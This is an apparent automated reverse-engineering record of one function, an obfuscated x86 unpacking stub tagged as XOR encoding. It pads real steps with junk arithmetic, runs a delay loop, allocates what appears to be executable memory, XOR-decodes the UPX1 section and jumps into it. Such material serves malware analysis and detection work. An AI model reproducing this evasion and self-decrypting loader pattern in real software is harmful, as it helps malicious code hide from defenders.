Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x202780c5
mov esi, ecx
sub ecx, esi
sub esi, 0x4727fbc3
popal
add esi, ecx
add ecx, 0x4560a02c
dec esi
mov esi, 0
mov edx, ecx
or ebx, ebx
mov edi, 0xac675cf1
mov ebx, 0x343610e6
mov eax, edx
inc ebx
mov edi, ebx
mov ecx, eax
mov ebx, 0x2728bb17
add edi, ebx
inc esi
add ebx, edi
and edi, edi
dec edi
cmp esi, 0x1006a7b
jne 0xa789cb
or ebx, ebx
and ebx, edi
mov esi, ecx
sub ecx, 0xaefca044
inc esi
mov edi, 0xa78796
add esi, edx
add edx, 0xe0bbeb75
and eax, eax
mov ebx, 0xa7898a
sub eax, esi
sub edx, 0xdac4fbc7
sub edx, eax
mov ecx, dword [edi]
mov edx, eax
sub edx, 0xa032b161
dec edx
and ecx, 0xff
mov edx, 0x782ae443
add eax, 0xa49db075
sub eax, 0x2e464ee1
xor dword [ebx], ecx
dec edx
not esi
inc ebx
add esi, 0xefe52ce8
sub eax, esi
dec edx
add edi, 1
or edx, edx
dec eax
cmp ebx, entry0
jl 0xa78a24
mov edx, esi
and eax, edx
dec esi
mov esi, 0x3fc621e
add edx, 0xa1cb1747
and edx, edx
and ebx, ebx
not ebx
not edi
mov edx, 0xa7898e
not edi
inc ecx
mov edx, dword [edx]
sub esi, 0xf82aff5d
dec esi
mov edx, dword [edx]
and ebx, esi
or edi, esi
push edx
add esi, ebx
sub ecx, 0xd6899a26
mov edx, 0xa7898a
and ebx, ecx
or ecx, esi
add edi, esi
mov edx, dword [edx]
or esi, esi
sub ecx, 1
and ebx, ecx
mov edx, dword [edx]
add esi, esi
not ebx
push 0xa78992
sub ecx, 0x2c98548
sub edi, ecx
add edi, 0x617e8ff6
call edx
sub esi, 0x267dcdc1
dec esi
sub esi, 0xa90aa3a2
mov edx, dword [esp]
add esp, 4
not esi
mov esi, ebx
sub ebx, esi
push 0xa7899f
add esi, edi
inc edi
add edi, 0x5728eb12
sub esp, 4
mov dword [esp], eax
mov ecx, ebx
mov edi, ebx
call edx
mov ebx, ecx
add ecx, 0x5c667820
add edi, 0x9f58aafd
push 0x40
and ecx, esi
not ebx
add ebx, 1
push 0x3000
mov ebx, 0x116dc3ea
add esi, 0x9a3be6c9
push 0x20000210
add esi, 0x13b6caf6
and edi, ecx
add ecx, 0xecfb1785
push 0
or ecx, ecx
add ecx, 0xf4751099
not esi
call eax
not ecx
inc edi
add eax, 0x2000018f
and ecx, ebx
or ecx, ecx
mov edx, 0x83b5bc71
and ebx, ebx
add esi, 0x1ed6afc0
add esi, 0x366f741c
mov dword [eax], edx
add edi, ebx
and edi, ecx
mov edx, dword [eax]
sub ebx, esi
add edi, 1
cmp edx, 0x83b5bc71
je 0xa78b97
mov edx, 0
mov bl, byte [edx]
sub esi, 0xa3b1edf4
add ebx, ebx
sub edi, 1
not edi
sub esi, 0x37058e53
mov esi, 0x7f84635
dec esi
mov ebx, section.UPX1
and esi, ecx
inc ecx
mov eax, 0xa78795
or esi, esi
mov ecx, esi
mov esi, 0x9805fffa
mov edx, 0
or ecx, ecx
or esi, esi
mov edi, 0xa78796
sub ecx, 0xda5593e9
not esi
lea edi, [edi + edx]
mov ecx, esi
not esi
sub ecx, esi
mov edi, dword [edi]
or ecx, esi
mov esi, 0xe61b94b1
not ecx
and edi, 0xff
dec ecx
or ecx, ecx
inc edx
add ecx, 0xb6c295ec
inc ecx
cmp edx, 0x1f4
jne 0xa78c11
mov edx, 0
not ecx
add ecx, esi
and ecx, esi
or ecx, ecx
mov ecx, 0x801995ff
or esi, esi
xor dword [ebx], edi
and esi, esi
dec ecx
sub ecx, 1
add ebx, 2
sub esi, ecx
and ecx, esi
mov esi, 0xdc0c8a50
cmp ebx, eax
jl 0xa78bd2
mov ecx, esi
dec ecx
mov ecx, esi
and ecx, ecx
not esi
add ecx, 0x1f75b29b
mov esi, section.UPX1
not ebx
add ebx, ebx
mov edx, section.UPX1
sub ebx, eax
mov eax, 0x9f2803a6
inc ebx
mov edi, 0xa78795
mov eax, 0x788168e6
sub eax, 0x4d9c5285
mov ecx, 0
and eax, ebx
add eax, 0x61c98843
dec ebx
mov cl, byte [edx]
add ebx, eax
and ebx, ebx
sub ebx, 0xd2e49b10
mov byte [esi], cl
and eax, ebx
and eax, eax
inc esi
or ebx, ebx
inc eax
add edx, 2
dec ebx
inc eax
or ebx, eax
cmp edx, edi
jle 0xa78c85
add ebx, ebx
inc ebx
or ecx, esi
not ecx
sub esi, ecx
sub esp, 4
mov dword [esp], 0x8dc6a0
sub ecx, 1
sub esi, 0x84734907
not ecx
ret